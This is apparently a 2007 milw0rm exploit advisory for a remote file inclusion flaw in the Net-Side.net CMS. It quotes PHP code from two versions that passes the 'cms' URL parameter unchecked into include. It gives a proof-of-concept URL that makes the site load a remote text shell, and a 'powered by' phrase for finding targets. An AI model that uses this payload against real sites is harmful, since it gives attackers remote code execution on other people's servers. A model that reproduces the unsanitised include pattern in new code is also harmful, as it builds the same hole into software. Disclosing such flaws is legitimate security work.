Net-Side.net CMS - 'index.php?cms' Remote File Inclusion

I see your future and your future is death. Sharingan !
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Hi I'm sharingan and this is my vuln :
script name :
Net Side Content Management System
(2 versions found both vulnerable | Version names not available since the script isn't downloadable)

vuln file :
index.php |and maybe others ... haven't checked|
vuln code version 1:
[...]
    if ($_GET["cms"] == "" or $_GET["cms"] == "titel")
   {
    include "titel.inc.php";
   }
   else
   {
    include $_GET["cms"].".inc.php";
[...]
vuln code version 2:
[...]
$includepath = "";
[...]
if ($_GET["cms"] == "")
   {
     include $includepath."titel.inc.php";
   }
   else
   {
    include $includepath.$_GET["cms"].".inc.php";
[...]

proof of concept :
http://site.com/index.php?cms=http://whatever.com/textshell.txt?
"powered by Net-Side.net"
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greetz mozi and all php freaks.
oh yeah and a friendly Hi! to RST.

# milw0rm.com [2007-03-24]